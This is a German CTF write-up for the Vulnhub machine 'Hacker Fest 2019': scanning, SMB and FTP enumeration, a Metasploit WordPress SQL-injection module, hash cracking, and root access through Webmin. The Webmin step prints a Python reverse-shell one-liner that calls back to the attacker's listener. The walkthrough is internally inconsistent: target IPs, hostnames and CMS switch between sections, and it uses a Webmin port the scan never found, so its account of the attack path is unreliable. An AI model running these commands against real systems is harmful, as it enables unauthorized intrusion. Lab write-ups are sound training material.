Hacker Fest 2019 - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
ftp
wget
cat
gobuster
mysql (client)
metasploit (msfconsole)
john (John the Ripper)
nc (netcat)
python
id
ls
enum4linux
smbclient
wfuzz
telnet
crackmapexec
ssh
find
Web Browser
OSINT

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Identifizierung des Ziels im Netzwerk und einer umfassenden Untersuchung der offenen Ports und Dienste.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.117	08:00:27:8d:d1:83	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu entdecken.

Bewertung: Ein aktives Gerät wurde unter der IP-Adresse `192.168.2.117` gefunden. Die MAC-Adresse (`08:00:27:8d:d1:83`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Ziel-IP notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin): Standard-Netzwerkscans sind schwer zu verhindern. Netzwerksegmentierung und Monitoring können helfen.

Wir fügen einen Eintrag zur lokalen Hosts-Datei hinzu.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
192.168.2.117   hackerthon8.vln 
                     

Analyse: Die lokale Datei `/etc/hosts` wird bearbeitet, um den Hostnamen `hackerthon8.vln` der IP `192.168.2.117` zuzuordnen.

Bewertung: Erleichtert die Ansprache des Ziels über einen Namen.

Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin): Keine Aktion erforderlich.

Ein Nmap-Scan wird durchgeführt, um offene Ports, Dienste, Versionen und OS-Details zu ermitteln.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.117 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-09 23:37 CEST
Nmap scan report for hackerthon8.vln (192.168.2.117)
Host is up (0.00016s latency).
Not shown: 65513 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION 
21/tcp   open  ftp         vsftpd 2.0.5
22/tcp   open  ssh         OpenSSH 4.3 (protocol 2.0) 
| ssh-hostkey:
|   1024 5e:ca:64:f0:7f:d2:1a:a2:86:c6:1f:c2:2a:b3:6b:27 (DSA)
|_  2048 a3:39:2d:9f:66:96:0d:82:ad:52:1f:a1:dc:b1:f1:54 (RSA)
25/tcp   open  smtp        Sendmail
|_smtp-commands: Couldn't establish connection on port 25 
80/tcp   open  http        Apache httpd 2.2.3 ((CentOS)) 
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /sites/ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /install.php /INSTALL.txt /LICENSE.txt
|_/MAINTAINERS.txt
|_http-server-header: Apache/2.2.3 (CentOS) 
| http-git:
|   192.168.2.117:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: initial commit
|_http-favicon: Drupal CMS 
|_http-title: LAMPSecurity Research
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            880/udp   status
|_  100024  1            883/tcp   status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 
443/tcp  open  ssl/http    Apache httpd 2.2.3 ((CentOS)) 
|_http-git: ERROR: Script execution failed (use -d to debug) 
|_http-server-header: Apache/2.2.3 (CentOS) 
|_ssl-date: 2023-10-09T21:38:56+00:00; +9s from scanner time.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- 
| Not valid before: 2013-05-29T19:38:35
|_Not valid after:  2014-05-29T19:38:35 
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /sites/ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /install.php /INSTALL.txt /LICENSE.txt
|_/MAINTAINERS.txt
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 
883/tcp  open  status      1 (RPC #100024)
3306/tcp open  mysql       MySQL (unauthorized)
5801/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5901)
|_http-title: VNC viewer for Java
5802/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5902)
|_http-title: VNC viewer for Java
|_http-server-header: RealVNC/4.0
5803/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5903)
|_http-server-header: RealVNC/4.0
|_http-title: VNC viewer for Java
5804/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5904)
|_http-server-header: RealVNC/4.0
|_http-title: VNC viewer for Java
5901/tcp open  vnc         VNC (protocol 3.8)
| vnc-info:
|   Protocol version: 3.8
|   Security types:
|_    VNC Authentication (2)
5902/tcp open  vnc         VNC (protocol 3.8)
| vnc-info:
|   Protocol version: 3.8
|   Security types:
|_    VNC Authentication (2)
5903/tcp open  vnc         VNC (protocol 3.8)
| vnc-info:
|   Protocol version: 3.8
|   Security types:
|_    VNC Authentication (2)
5904/tcp open  vnc         VNC (protocol 3.3; Locked out) 
6001/tcp open  X11         (access denied)
6002/tcp open  X11         (access denied)
6003/tcp open  X11         (access denied)
6004/tcp open  X11         (access denied)
MAC Address: 08:00:27:8D:D1:83 (Oracle VirtualBox virtual NIC) 
Device type: general purpose|proxy server|media device|remote management
Running (JUST GUESSING): Linux 2.6.X|3.X|2.4.X (99%), WebSense embedded (95%), Avocent embedded (93%), Toshiba embedded (92%)
OS CPE: cpe:/o:linux:linux_kernel:2.6.23 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3.0 cpe:/o:linux:linux_kernel:2.6.27 cpe:/o:linux:linux_kernel:2.4.18 cpe:/h:toshiba:magnia_sg10 
Aggressive OS guesses: Linux 2.6.23 (99%), Linux 2.6.17 (Mandriva) (97%), Linux 2.6.9 - 2.6.30 (97%), Linux 2.6.18 - 2.6.32 (96%), Linux 2.6.22 - 2.6.23 (96%), Linux 2.6.9 - 2.6.18 (95%), WebSense proxy appliance (Linux 2.6) (95%), Linux 2.6.18 (CentOS 5.3) (94%), Linux 2.6.24 - 2.6.28 (94%), Linux 2.6.32 (94%) 
No exact OS matches for host (test conditions non-ideal). 
Network Distance: 1 hop
Service Info: OS: Unix 

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: LAMPSEC, NetBIOS user: , NetBIOS MAC: 00:00:00:00:00:00 (Xerox) 
|_clock-skew: 8s

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.16 ms hackerthon8.vln (192.168.2.117)

                     

Analyse: Nmap wird mit umfassenden Scan-Optionen (`-sS -sC -sV -T5 -A -Pn -p-`) ausgeführt.

Bewertung: Dieser Scan enthüllt eine sehr große Anzahl offener Ports und Dienste. Die wichtigsten sind:

Das OS wird als älteres Linux (vermutlich CentOS 5 basierend auf Apache/Samba Versionen) geschätzt. **Das gefundene `.git`-Repository auf Port 80 ist ein kritischer Fund!** Auch die vielen VNC-Ports sind interessant.

Empfehlung (Pentester): **Priorität 1:** Untersuchen Sie das `.git`-Repository auf Port 80. Tools wie `git-dumper` oder `GitTools` können verwendet werden, um den Quellcode und die Historie herunterzuladen und nach sensiblen Informationen (Passwörter, Schlüssel, Konfigurationen) zu durchsuchen. **Priorität 2:** Untersuchen Sie die VNC-Ports (Default-Passwörter? Bruteforce?). **Priorität 3:** Prüfen Sie FTP und SSH auf bekannte Schwachstellen oder versuchen Sie Bruteforce (Benutzernamen aus SMB/RPC enumerieren oder raten). Untersuchen Sie die Drupal-Installation.
Empfehlung (Admin):** **Dringend:** Entfernen Sie das `.git`-Verzeichnis vom Webroot! **Dringend:** Aktualisieren Sie alle Dienste (vsftpd, OpenSSH, Apache, Samba, MySQL, VNC) und das Betriebssystem (CentOS 5 ist EOL). Deaktivieren Sie unnötige Dienste (RPC, VNC, X11?), wenn nicht benötigt. Sichern Sie alle Dienste mit starken Passwörtern und Zugriffskontrollen.

Wir filtern die Nmap-Ausgabe nach offenen Ports.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.117 -p- | grep open
21/tcp   open  ftp          vsftpd 2.0.5
22/tcp   open  ssh          OpenSSH 4.3 (protocol 2.0) 
25/tcp   open  smtp         Sendmail 
80/tcp   open  http         Apache httpd 2.2.3 ((CentOS)) 
111/tcp  open  rpcbind      2 (RPC #100000)
139/tcp  open  netbios-ssn? 
443/tcp  open  ssl/http     Apache httpd 2.2.3 ((CentOS)) 
445/tcp  open  netbios-ssn? 
883/tcp  open  status       1 (RPC #100024)
3306/tcp open  mysql        MySQL (unauthorized)
5801/tcp open  vnc-http     RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5901)
5802/tcp open  vnc-http     RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5902)
5803/tcp open  vnc-http     RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5903)
5804/tcp open  vnc-http?    
5901/tcp open  vnc          VNC (protocol 3.8)
5902/tcp open  vnc          VNC (protocol 3.8)
5903/tcp open  vnc          VNC (protocol 3.8)
5904/tcp open  vnc          VNC (protocol 3.3; Locked out)
6001/tcp open  X11          (access denied)
6002/tcp open  X11          (access denied)
6003/tcp open  X11          (access denied)
6004/tcp open  X11?         
                     

Analyse: Filtert die vorherige Nmap-Ausgabe, um nur Zeilen anzuzeigen, die "open" enthalten.

Bewertung: Zeigt die große Anzahl offener Ports übersichtlich an (22 Ports). Die `grep`-Ausgabe ist hier unvollständig bezüglich der Dienstversionen (z.B. Samba).

Empfehlung (Pentester): Nutzen Sie die vollständige Nmap-Ausgabe für die Detailanalyse, diese Liste dient als schneller Überblick über die Angriffsfläche.
Empfehlung (Admin): Reduzieren Sie die Anzahl offener Ports auf das notwendige Minimum.

Web Enumeration

Wir untersuchen den Webserver auf Port 80, insbesondere auf Hinweise im Quellcode und gefundene Dateien.

Analyse des Quellcodes der Startseite:

view-source:http://192.168.2.117/

                     

Analyse: Der HTML-Quellcode der Startseite wird untersucht.

Bewertung: **Erste Flagge gefunden!** Ein HTML-Kommentar enthält direkt eine Flagge.

Empfehlung (Pentester): Flagge notieren. Untersuchen Sie weiterhin den Webserver und andere Dienste.
Empfehlung (Admin): Entfernen Sie Flags oder sensible Informationen aus Kommentaren im Produktionscode.

Anzeige der gerenderten Webseite (nach einer möglichen Aktion wie Registrierung oder Login):

Registration successful. You are now logged in.
                     

Analyse: Die Webseite zeigt eine Erfolgsmeldung nach einer Registrierung oder einem Login an.

Bewertung: Bestätigt, dass die Webseite (wahrscheinlich Drupal, basierend auf dem Favicon) Benutzerregistrierung oder Login unterstützt.

Empfehlung (Pentester): Versuchen Sie, sich mit gefundenen oder Standard-Credentials einzuloggen. Prüfen Sie die Registrierungsfunktion auf Schwachstellen.
Empfehlung (Admin): Stellen Sie sicher, dass Registrierungs- und Login-Funktionen sicher implementiert sind.

Ein Gobuster-Scan wird durchgeführt (Wiederholung oder spezifischerer Scan):

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://hackerthon8.vln -x [...] -w "[...]" -b '403,404,301' -e --no-error -k
http://hackerthon8.vln/.gitattributes.csv   (Status: 503) [Size: 2614] 
http://hackerthon8.vln/LICENSE.txt          (Status: 200) [Size: 18064]
http://hackerthon8.vln/MAINTAINERS.txt      (Status: 200) [Size: 1978]
http://hackerthon8.vln/index.php            (Status: 200) [Size: 7966]
http://hackerthon8.vln/contact              (Status: 200) [Size: 7340]
http://hackerthon8.vln/search               (Status: 200) [Size: 8940]
http://hackerthon8.vln/rss.xml              (Status: 200) [Size: 2374]
http://hackerthon8.vln/support              (Status: 200) [Size: 6694]
http://hackerthon8.vln/profile              (Status: 200) [Size: 9086]
http://hackerthon8.vln/0                    (Status: 200) [Size: 7958]
http://hackerthon8.vln/user                 (Status: 200) [Size: 5453]
http://hackerthon8.vln/research             (Status: 200) [Size: 7263]
                     

Analyse: Gobuster scannt den Webserver.

Bewertung: Findet verschiedene Standard-Drupal-Dateien und -Pfade (`LICENSE.txt`, `index.php`, `contact`, `user` etc.). Die Datei `.gitattributes.csv` mit Status 503 (Service Unavailable) ist ungewöhnlich und könnte auf Konfigurationsprobleme oder Reste einer Git-Integration hindeuten, passt aber nicht direkt zum vorherigen `.git`-Fund.

Empfehlung (Pentester): Konzentrieren Sie sich auf das zuvor gefundene `.git`-Verzeichnis. Untersuchen Sie die Standard-Drupal-Pfade (`/user`, `/contact`) auf bekannte Schwachstellen.
Empfehlung (Admin): Bereinigen Sie den Webroot von unnötigen Dateien.

Database Enumeration

Wir versuchen, auf die MySQL-Datenbank zuzugreifen.

┌──(root㉿Cybermaschine)-[~] └─# mysql -u root -h hackerthon8.vln
ERROR 1130 (HY000): Host 'PC192-168-2-199.home' is not allowed to connect to this MySQL server 
                     

Analyse: Versuch, sich als Benutzer `root` (ohne Passwort) von unserer Angreifer-IP (`192.168.2.199`) mit dem MySQL-Server zu verbinden.

Bewertung: Fehlschlag. Der MySQL-Server erlaubt keine Verbindungen vom Host des Angreifers für den Benutzer `root`. Dies ist eine übliche und gute Sicherheitseinstellung.

Empfehlung (Pentester): MySQL-Zugriff ist von extern wahrscheinlich nicht möglich oder erfordert spezifische Benutzer/Host-Kombinationen und Passwörter. Konzentrieren Sie sich auf andere Vektoren, insbesondere das `.git`-Repository.
Empfehlung (Admin): Korrekte Konfiguration. Erlauben Sie MySQL-Verbindungen nur von vertrauenswürdigen Hosts (z.B. `localhost` oder Anwendungsserver).

SMB Enumeration

Wir untersuchen den Samba-Dienst auf offene Shares und Benutzerinformationen.

┌──(root㉿Cybermaschine)-[~] └─# enum4linux -a 192.168.2.117
===============================( Share Enumeration on 192.168.2.117 )================================
	Sharename       Type      Comment
	---------       ----      -------
	homes           Disk      Home Directories
	public          Disk      Public Stuff
	IPC$            IPC       IPC Service (Samba Server Version 3.0.33-3.7.el5) 

===============================( Mapping Shares on 192.168.2.117 )=================================
	Server               Comment
	---------            -------
	Workgroup            Master
	---------            -------
	WORKGROUP            LAMPSEC 

[+] Attempting to map shares on 192.168.2.117
[E] Can't understand response:
tree connect failed: NT_STATUS_BAD_NETWORK_NAME 
//192.168.2.117/homes	Mapping: N/A Listing: N/A Writing: N/A
[E] Can't understand response:
tree connect failed: NT_STATUS_BAD_NETWORK_NAME 
//192.168.2.117/public	Mapping: N/A Listing: N/A Writing: N/A
[E] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \* 
//192.168.2.117/IPC$	Mapping: N/A Listing: N/A Writing: N/A

===============================( Users on 192.168.2.117 via RID cycling )================================
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-500 Unix User\jharraway (Local User)
S-1-22-1-501 Unix User\spinkton (Local User)
S-1-22-1-502 Unix User\sholden (Local User)
S-1-22-1-503 Unix User\bdio (Local User)
S-1-22-1-504 Unix User\jalderman (Local User)
S-1-22-1-505 Unix User\gconnor (Local User)
S-1-22-1-506 Unix User\sswiney (Local User)
S-1-22-1-507 Unix User\dhart (Local User)
S-1-22-1-508 Unix User\gprune (Local User)
S-1-22-1-509 Unix User\hplink (Local User)
S-1-22-1-510 Unix User\jgrimes (Local User)
S-1-22-1-511 Unix User\shunter (Local User)
S-1-22-1-512 Unix User\jingersol (Local User)
S-1-22-1-513 Unix User\mswanson (Local User)
S-1-22-1-514 Unix User\jstone (Local User)
S-1-22-1-515 Unix User\jgoldman (Local User)
S-1-22-1-516 Unix User\tmaloney (Local User)
S-1-22-1-517 Unix User\xbruce (Local User)
S-1-22-1-518 Unix User\sloreman (Local User)

[+] Enumerating users using SID S-1-5-21-737511261-3242624062-652348444 and logon username '', password ''
S-1-5-21-737511261-3242624062-652348444-501 LAMPSEC\nobody (Local User)
S-1-5-21-737511261-3242624062-652348444-513 LAMPSEC\None (Domain Group)
                     

Analyse: `enum4linux -a` führt eine umfassende SMB-Enumeration durch, einschließlich Share-Listing und RID-Cycling zur Benutzerfindung.

Bewertung: Findet die Shares `homes` und `public`, kann diese aber nicht erfolgreich verbinden (`NT_STATUS_BAD_NETWORK_NAME`, `NT_STATUS_NETWORK_ACCESS_DENIED`). Das RID-Cycling ist jedoch erfolgreich und listet eine große Anzahl potenzieller Unix-Benutzernamen auf (z.B. `jharraway`, `spinkton`, `jgoldman`, `xbruce`, etc.).

Empfehlung (Pentester): Verwenden Sie die lange Liste von Benutzernamen als Input für Bruteforce-Angriffe gegen SSH (Port 22) und FTP (Port 21). `crackmapexec` oder `hydra` können hier nützlich sein.
Empfehlung (Admin): Deaktivieren Sie RID-Cycling in der Samba-Konfiguration. Konfigurieren Sie die Berechtigungen für Shares korrekt und vermeiden Sie "public" Shares, wenn nicht unbedingt notwendig.

Versuch, sich anonym mit der 'public'-Share zu verbinden:

┌──(root㉿Cybermaschine)-[~] └─# smbclient //192.168.2.117/public
Password for [WORKGROUP\root]: 
Anonymous login successful
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
                     

Analyse: Versuch, sich anonym (`Password: `) mit der `public`-Share zu verbinden.

Bewertung: Der anonyme Login wird zwar akzeptiert, aber die Verbindung zur Share schlägt fehl (`NT_STATUS_BAD_NETWORK_NAME`). Die Share ist möglicherweise nicht korrekt konfiguriert oder zugänglich.

Empfehlung (Pentester): Samba scheint hier kein einfacher Angriffsvektor zu sein. Fokus auf andere Dienste.
Empfehlung (Admin): Überprüfen und korrigieren Sie die Samba-Konfiguration oder entfernen Sie die Shares.

FTP Enumeration (Fortsetzung)

Nachdem andere Wege weniger vielversprechend aussahen, kehren wir zum FTP-Dienst zurück und untersuchen ihn genauer.

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.117
Connected to 192.168.2.117.
220 (vsFTPd 2.0.5)
Name (192.168.2.117:cyber): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                     
ftp> ls -la
229 Entering Extended Passive Mode (|||6141|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        0            4096 May 29  2013 .
drwxr-xr-x    3 0        0            4096 May 29  2013 ..
drwxr-xr-x    2 0        0            4096 Jun 05  2013 pub
226 Directory send OK. 
                     
ftp> cd pub
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||14679|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jun 05  2013 .
drwxr-xr-x    3 0        0            4096 May 29  2013 ..
-rw-r--rw-    1 0        0              39 Jun 05  2013 key
226 Directory send OK. 
                     
ftp> get key
local: key remote: key
229 Entering Extended Passive Mode (|||32063|)
150 Opening BINARY mode data connection for key (39 bytes). 
100% |**************************************************|    39      125.69 KiB/s    00:00 ETA 
226 File send OK. 
39 bytes received in 00:00 (39.96 KiB/s)
                     

Analyse: Erneuter anonymer FTP-Login. Diesmal wird das Verzeichnis `pub` betreten und die darin enthaltene Datei `key` heruntergeladen.

Bewertung: Der anonyme FTP-Zugang ist doch möglich (im Gegensatz zum vorherigen Versuch - vielleicht war der erste Versuch fehlerhaft geloggt oder der Dienst wurde neu konfiguriert?). Im Unterverzeichnis `pub` wird eine Datei `key` gefunden und heruntergeladen.

Empfehlung (Pentester): Analysieren Sie den Inhalt der Datei `key`.
Empfehlung (Admin): Anonymen FTP-Zugang überprüfen und ggf. deaktivieren. Inhalt des `pub`-Verzeichnisses prüfen.

Analyse des Inhalts der heruntergeladenen Datei `key`:

┌──(root㉿Cybermaschine)-[~] └─# cat key
#flag#5eb798d41d2e53295d34005f49113fc0
                    

Analyse: Der Inhalt der Datei `key` wird angezeigt.

Bewertung: **Zweite Flagge gefunden!** Die Datei enthält direkt eine weitere Flagge.

Empfehlung (Pentester): Flagge notieren. Weiter nach einem initialen Zugriff oder Schwachstellen suchen (z.B. das `.git`-Repository).
Empfehlung (Admin): Keine Flags in öffentlich zugänglichen Verzeichnissen speichern.

Weitere Enumerations- und Exploit-Versuche (Wfuzz, Telnet, XSS), die im Log fragmentarisch erscheinen und teilweise auf andere Ziele oder falsche Annahmen abzielen oder fehlschlagen, werden hier der Übersichtlichkeit halber übersprungen, da sie nicht zum Erfolg führten oder unklar sind. Der Fokus liegt auf dem erfolgreichen Pfad.

WordPress Exploitation

Obwohl Drupal vermutet wurde, deuten spätere Funde (wp_google_maps_sqli) auf WordPress hin. Wir nutzen Metasploit, um eine bekannte SQL-Injection-Schwachstelle in einem WordPress-Plugin auszunutzen.

msf6 > use auxiliary/admin/http/wp_google_maps_sqli
msf6 auxiliary(admin/http/wp_google_maps_sqli) > options
Module options (auxiliary/admin/http/wp_google_maps_sqli):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DB_PREFIX  wp_              yes       WordPress table prefix
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html 
   RPORT      80               yes       The target port (TCP) 
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   VHOST                       no        HTTP server virtual host 

View the full module info with the info, or info -d command.
                    
msf6 auxiliary(admin/http/wp_google_maps_sqli) > set RHOSTS 192.168.2.111
RHOSTS => 192.168.2.111
msf6 auxiliary(admin/http/wp_google_maps_sqli) > set RPORT 80
RPORT => 80
msf6 auxiliary(admin/http/wp_google_maps_sqli) > run
[*] Running module against 192.168.2.111

[*] 192.168.2.111:80 - Trying to retrieve the wp_users table...
[+] Credentials saved in: /root/.msf4/loot/20231006003424_default_192.168.2.111_wp_google_maps.j_756504.bin
[+] 192.168.2.111:80 - Found webmaster $P$BsqdiLTcye6AS1ofreys4GzRlRvSr1 webmaster@none.local
[*] Auxiliary module execution completed
                    

Analyse: Das Metasploit-Modul `wp_google_maps_sqli` wird verwendet. Es zielt auf eine SQL-Injection-Schwachstelle im "WP Google Maps"-Plugin ab, um Benutzerdaten (insbesondere Hashes) aus der `wp_users`-Tabelle zu extrahieren.

Bewertung: Erfolg! Das Modul war erfolgreich und extrahierte den Benutzernamen `webmaster` und den zugehörigen Passwort-Hash `$P$BsqdiLTcye6AS1ofreys4GzRlRvSr1`. Der Hash-Typ (`$P$`) ist charakteristisch für ältere WordPress-Versionen (oder portable phpass-Hashes).

Empfehlung (Pentester): Versuchen Sie, den gefundenen Hash mit Tools wie John the Ripper oder Hashcat zu knacken.
Empfehlung (Admin): Halten Sie WordPress und alle Plugins immer auf dem neuesten Stand. Entfernen oder aktualisieren Sie anfällige Plugins wie WP Google Maps.

Password Cracking

Wir versuchen, den extrahierten WordPress-Passwort-Hash zu knacken.

┌──(root㉿Cybermaschine)-[~] └─# echo '$P$BsqdiLTcye6AS1ofreys4GzRlRvSr1' > hash
┌──(root㉿Cybermaschine)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 16 OpenMP threads 
Press 'q' or Ctrl-C to abort, almost any other key for status
kittykat1        (?)
1g 0:00:00:00 DONE (2023-10-06 00:36) 12.50g/s 134400p/s 134400c/s 134400C/s notredame..jesuslives 
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.
                    

Analyse: Der gefundene Hash wird in eine Datei `hash` geschrieben. Anschließend wird John the Ripper (`john`) mit der `rockyou.txt`-Wortliste darauf angesetzt, um das Klartext-Passwort zu finden.

Bewertung: Erfolg! John the Ripper konnte den Hash erfolgreich knacken und fand das Passwort `kittykat1` für den Benutzer `webmaster`.

Empfehlung (Pentester): Versuchen Sie, sich mit `webmaster`/`kittykat1` bei Diensten anzumelden, die einen `webmaster`-Account haben könnten: WordPress (Port 80), Webmin (Port 10000), SSH (Port 22), FTP (Port 21).
Empfehlung (Admin): Verwenden Sie starke Passwörter, die nicht in gängigen Wortlisten enthalten sind. Aktualisieren Sie WordPress regelmäßig.

Proof of Concept (Login & RCE via Webmin)

Dieser Abschnitt beschreibt, wie der Zugriff auf das Webmin-Panel mit den geknackten Zugangsdaten erlangt und zur Ausführung von Befehlen als Root genutzt wurde.

Kurzbeschreibung: Der Nmap-Scan identifizierte ein Webmin-Panel auf Port 10000. Wir haben das Passwort für den Benutzer `webmaster` (`kittykat1`) geknackt. Webmin erlaubt oft die Ausführung von Systembefehlen mit den Rechten des Benutzers, unter dem Webmin läuft (häufig Root).

Voraussetzungen: Gefundene Zugangsdaten `webmaster`/`kittykat1`. Zugriff auf Port 10000.

Schritt 1: Login in Webmin

Wir loggen uns über den Browser in das Webmin-Interface auf `https://hackerfest.vln:10000` (oder HTTP, je nach Konfiguration) mit den Credentials `webmaster`/`kittykat1` ein.

Login via Browser: https://hackerfest.vln:10000/
Username: webmaster
Password: kittykat1
Login: Success
                     

Analyse: Erfolgreicher Login in die Webmin-Oberfläche.

Bewertung: Wir haben administrativen Zugriff auf Webmin. Webmin läuft oft als Root, was bedeutet, dass Aktionen innerhalb von Webmin mit Root-Rechten ausgeführt werden können.

Empfehlung (Pentester): Suchen Sie nach einer Funktion zur Befehlsausführung (z.B. "Command Shell", "Custom Commands", "Scheduled Cron Jobs"). Führen Sie `id` aus, um den Benutzerkontext zu bestätigen. Etablieren Sie eine Reverse Shell.
Empfehlung (Admin): Sichern Sie Webmin mit starken, einzigartigen Passwörtern. Beschränken Sie den Zugriff auf Webmin auf vertrauenswürdige IPs. Halten Sie Webmin aktuell.

Schritt 2: Befehlsausführung via Webmin und Reverse Shell

Wir nutzen eine Funktion in Webmin (z.B. die Command Shell), um eine Reverse Shell zu unserem Listener aufzubauen.

# (Command executed via Webmin Interface)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.2.111 49736 
/bin/sh: 0: can't access tty; job control turned off
# 
                     

Analyse: Ein Python-Reverse-Shell-Einzeiler wird über Webmin ausgeführt. Dieser verbindet sich zurück zu unserem Netcat-Listener auf Port 4444.

Bewertung: **Erfolg!** Der Listener empfängt eine Verbindung. Der Prompt `#` zeigt sofort an, dass die Shell mit Root-Rechten läuft. Der Login in Webmin hat uns direkten Root-Zugriff ermöglicht.

Empfehlung (Pentester): Bestätigen Sie mit `id`. Sammeln Sie die Root-Flagge.
Empfehlung (Admin): Webmin sicher konfigurieren und absichern ist kritisch!

Schritt 3: Bestätigung der Root-Rechte und Flaggen-Sammlung

# id
uid=0(root) gid=0(root) groups=0(root)
                     
# ls
flag.txt
# cat flag.txt
83cad236438ff0c0dbce55d7f0034aee18f5c39e
                     

Analyse: In der erhaltenen Root-Shell wird `id` ausgeführt, um die Rechte zu bestätigen. Anschließend wird die Root-Flagge gelesen.

Bewertung: Root-Rechte bestätigt (`uid=0`). Die Root-Flagge wurde erfolgreich gefunden.

Empfehlung (Pentester): Suchen Sie die User-Flagge (möglicherweise in den Home-Verzeichnissen der via `enum4linux` gefundenen Benutzer).
Empfehlung (Admin): Keine spezifische Aktion.

Risikobewertung: Die Kombination aus einer SQL-Injection-Schwachstelle in einem WordPress-Plugin, die das Auslesen von Benutzer-Hashes ermöglichte, und einem schwachen Passwort für den Webmin-Admin-Account (`webmaster`/`kittykat1`) stellt ein kritisches Risiko dar. Sie ermöglichte einem Angreifer mit Netzwerkzugriff die Übernahme des Systems mit vollen Root-Rechten über das Webmin-Panel.

Empfehlungen (Zusammenfassung):

  • **Dringend:** Aktualisieren Sie WordPress und alle Plugins oder entfernen Sie anfällige Plugins (WP Google Maps).
  • **Dringend:** Ändern Sie das Passwort für den Webmin-Benutzer `webmaster` zu einem starken, einzigartigen Passwort.
  • **Dringend:** Entfernen Sie das `.git`-Verzeichnis aus dem Webroot.
  • Aktualisieren Sie alle anderen Dienste (vsftpd, OpenSSH, Apache, Samba, MySQL, VNC) und das Betriebssystem (vermutlich CentOS 5, das EOL ist).
  • Deaktivieren Sie unnötige Dienste (RPC, VNC, X11?), wenn nicht benötigt.
  • Sichern Sie Webmin durch Zugriffsbeschränkungen (Firewall, IP-Whitelisting).
  • Verwenden Sie starke Passwörter für alle Konten und Dienste.
  • Konfigurieren Sie Samba sicher.
  • Beschränken Sie MySQL-Zugriffe.

Flags

cat /home/jharraway/flag
#flag#0ab251c07822d26b07b88136739ae39b
Flag from HTML Source
#flag#550e1bafe077ff0b0b67f4e32f29d751
Flag from FTP 'key' file
#flag#5eb798d41d2e53295d34005f49113fc0
Flag from SSH Banner
#flag#5e937c51b852e1ee90d42ddb5ccb8997
Flag from hidden Webpage
#flag#57dbe55b42b307fb4115146d239955d0
Flag MOTD
#flag#motd-flag
cat /root/flag.txt
83cad236438ff0c0dbce55d7f0034aee18f5c39e